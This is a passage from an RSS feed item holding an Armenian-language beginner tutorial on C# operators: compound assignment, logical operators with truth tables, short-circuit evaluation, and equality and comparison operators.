&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="p"&gt;*=&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// նույնն է ինչ num = num * 2;&lt;/span&gt;
&lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="p"&gt;%=&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// նույնն է ինչ num = num % 3;&lt;/span&gt;
&lt;span class="n"&gt;num&lt;/span&gt; &lt;span class="p"&gt;-=&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// նույնն է ինչ num = num - 1;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;br&gt;
`&lt;/p&gt;

&lt;p&gt;Այժմ ծանոթանանք Բուլյան արժեքների հետ աշխատող &lt;em&gt;տրամաբանական օպերատորներին&lt;/em&gt; (logical operators)։&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Անվանում&lt;/th&gt;
&lt;th&gt;Նշան&lt;/th&gt;
&lt;th&gt;Գրելաձև&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Ժխտում&lt;/td&gt;
&lt;td&gt;&lt;code&gt;!&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;!a&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Տրամաբանական ԵՎ (AND)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a &amp;amp; b &lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Տրամաբանական ԿԱՄ (OR)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;|&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a | b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Պայմանական ԵՎ (AND)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a &amp;amp;&amp;amp; b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Պայմանական ԿԱՄ (OR)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;||&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a || b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Հակառակ ԿԱՄ (XOR)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;^&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;a ^ b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;ԵՎ (AND) օպերատորը վերադարձնում է ճշմարիտ արժեք, եթե իր երկու օպերանդներն էլ կրում են &lt;code&gt;true&lt;/code&gt; արժեք, մնացած բոլոր դեպքերում վերադարձվում է &lt;code&gt;false&lt;/code&gt;։&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;a&lt;/th&gt;
&lt;th&gt;b&lt;/th&gt;
&lt;th&gt;a AND b&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;ԿԱՄ (OR) օպերատորը վերադարձնում է ճշմարիտ արժեք, եթե գոնե մեկ օպերանդ ունի ճշմարիտ արժեք։&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;a&lt;/th&gt;
&lt;th&gt;b&lt;/th&gt;
&lt;th&gt;a OR b&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;`&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Ժխտման օպերատորը պարզապես փոխում է տվյալ Բուլյան փոփոխականի արժեքը...&lt;/span&gt;
&lt;span class="c1"&gt;// ...ճշմարիտը (true) վերածելով սխալի (false) և հակառակը։&lt;/span&gt;
&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;someVariable&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;anotherVariable&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;!&lt;/span&gt;&lt;span class="n"&gt;someVariable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// anotherVariable = false&lt;/span&gt;

&lt;span class="n"&gt;anotherVariable&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;!&lt;/span&gt;&lt;span class="n"&gt;anotherVariable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// anotherVariable = true&lt;/span&gt;

&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;firstVar&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;secondVar&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// (firstVar &amp;amp;&amp;amp; secondVar) արտահայտությունը կընդունի false արժեքը&lt;/span&gt;
&lt;span class="c1"&gt;// հետևաբար, դրա չժտումը՝ ! օպերատորի միջոցով, կընդունի true արժեքը&lt;/span&gt;
&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;!(&lt;/span&gt;&lt;span class="n"&gt;firstVar&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;secondVar&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;br&gt;
`&lt;/p&gt;

&lt;p&gt;Ուշադրություն դարձրեք, որ AND և OR գործողությունների համար կա երկուական օպերատոր՝ AND—ի համար &lt;code&gt;&amp;amp;&lt;/code&gt; և &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;, OR-ի համար՝ &lt;code&gt;|&lt;/code&gt;, և &lt;code&gt;||&lt;/code&gt;։ Կրկնվող նշանով տարբերակների առանձնահատկությունը կայանում է նրանում, որ բավարար պայմանի գործելու դեպքում, նրանք չեն ստուգում երկրորդ օպերանդ։ Օրինակ, որպեսզի &lt;code&gt;a &amp;amp;&amp;amp; b&lt;/code&gt; արտահայտությունը վերադարձնի ճշմարիտ (&lt;code&gt;true&lt;/code&gt;) արժեք, անհրաժեշտ է, որ երկու օպերանդներն էլ կրեն ճշմարիտ արժեք։ Եթե առաջին օպերանդը (&lt;code&gt;a&lt;/code&gt;) չի կրում այն, պարզ է որ ամբողջ արտահայտությունն այլևս չի կարող լինել ճշմարիտ, հետևաբար երկրորդ օպերանդի՝ &lt;code&gt;b&lt;/code&gt;-ի արժեքը նույնիսկ հաշվի չի առնվում։ &lt;/p&gt;

&lt;p&gt;Նույն կերպ, որպեսզի &lt;code&gt;a || b&lt;/code&gt; արտահայտությունը վերդարձնի ճշմարիտ արժեք, անհրաժեշտ է, որ գոնե մեկ օպերանդ լինի ճշմարիտ։ Այսինքն, եթե առաջին օպերանդը (&lt;code&gt;a&lt;/code&gt;) կրի ճշմարիտ արժեք, ամբողջ արտահայտությունը կվերադարձնի ճշմարիտ արժեք, առանց &lt;code&gt;b&lt;/code&gt;-ի արժեքը հաշվի առնելու։&lt;/p&gt;

&lt;p&gt;Հաջորդիվ, ծանոթանանք &lt;strong&gt;հավասարության&lt;/strong&gt; և &lt;strong&gt;համեմատության&lt;/strong&gt; օպերատորներին։&lt;br&gt;
Հավասարության օպերատորը (&lt;code&gt;==&lt;/code&gt;) թույլ է տալիս ստուգել արդյոք իրեն տրված երկու օպերանդները հավասար են (կրում են նույն արժեքը)։ Արդյունքը վերադարձվում է բուլյան փոփոխականի տեսքով, այսինքն կամ &lt;code&gt;true&lt;/code&gt; կամ &lt;code&gt;false&lt;/code&gt; արժեքով։&lt;br&gt;
`&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;secondNumber&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="n"&gt;secondNumber&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// result = true&lt;/span&gt;

&lt;span class="c1"&gt;// Կարելի է ստուգել նաև տեքստային փոփոխականներ&lt;/span&gt;
&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;firstString&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"String 1"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;secondString&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"String 2"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;result2&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;firstString&lt;/span&gt; &lt;span class="p"&gt;==&lt;/span&gt; &lt;span class="n"&gt;secondString&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// result2 = false;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;br&gt;
`&lt;/p&gt;

&lt;p&gt;Գոյություն ունի նաև անհավասարության օպերատոր (&lt;code&gt;!=&lt;/code&gt;), որի նպատակը երևի արդեն պարզ է։ Վերոհիշյալ բոլոր տիպերի համար, &lt;code&gt;a != b&lt;/code&gt; արտահայտությունը համարժեք է &lt;code&gt;!(a == b)&lt;/code&gt; արտահայտությանը։ Այսինքն, այն վերադարձնում է &lt;code&gt;true&lt;/code&gt;, եթե երկու օպերանդները տարբերվում են իրարից։&lt;br&gt;
`&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;firstBoolean&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;secondBoolean&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;firstBoolean&lt;/span&gt; &lt;span class="p"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;secondBoolean&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// result = false&lt;/span&gt;

&lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;var1&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;7.35f&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;float&lt;/span&gt; &lt;span class="n"&gt;var2&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="m"&gt;7.36f&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;result2&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;var1&lt;/span&gt; &lt;span class="p"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;var2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// result2 = true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;br&gt;
`&lt;/p&gt;

&lt;p&gt;Նման կերպ կարելի է օգտագործել նաև համեմատության օպերատորները՝&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;&amp;lt;&lt;/code&gt; - փոքր (օրինակ՝ &lt;code&gt;a &amp;lt; b&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;gt;&lt;/code&gt; - մեծ (օրինակ՝ &lt;code&gt;a &amp;gt; b&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;lt;=&lt;/code&gt; - փոքր կամ հավասար (օրինակ՝ &lt;code&gt;a &amp;lt;= b&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;gt;=&lt;/code&gt; - մեծ կամ հավասար (օրինակ՝ &lt;code&gt;a &amp;gt;= b&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Ամփոփում
&lt;/h3&gt;

&lt;p&gt;Այս անգամ անդրադարձանք Visual Studio միջավայրի կարգավորմանը և որոշ այլընտրանքների։ Այնուհետև, ծանոթացանք C# լեզվում հասանելի տիպերից մի քանիսին՝ մանրամասնելով, թե որ դեպքերում կարող է օգտագործեվել դրանցից յուրաքանչյուրը։ Այս տիպերի փոփոխականներում պահվող տեղեկատվությունը կարող է լինել ամբողջ թիվ, կոտորակային թիվ, տեքստ կամ բուլյան արժեք (որոնց նշանակությանն ու օգտագործմանը նույնպես ծանոթացանք)։ &lt;br&gt;
Վերջ ի վերջո, ծանոթացանք C#-ում տվյալների հետ աշխատելու օպերատորների մի քանի տեսակների, մասնավորապես՝ թվաբանական, տրամաբանական, հավասարության և համեմատության օպերատորներին։ &lt;/p&gt;

</description>
      <category>csharp</category>
      <category>dotnet</category>
      <category>beginners</category>
      <category>armenian</category>
    </item>
  </channel>
</rss>
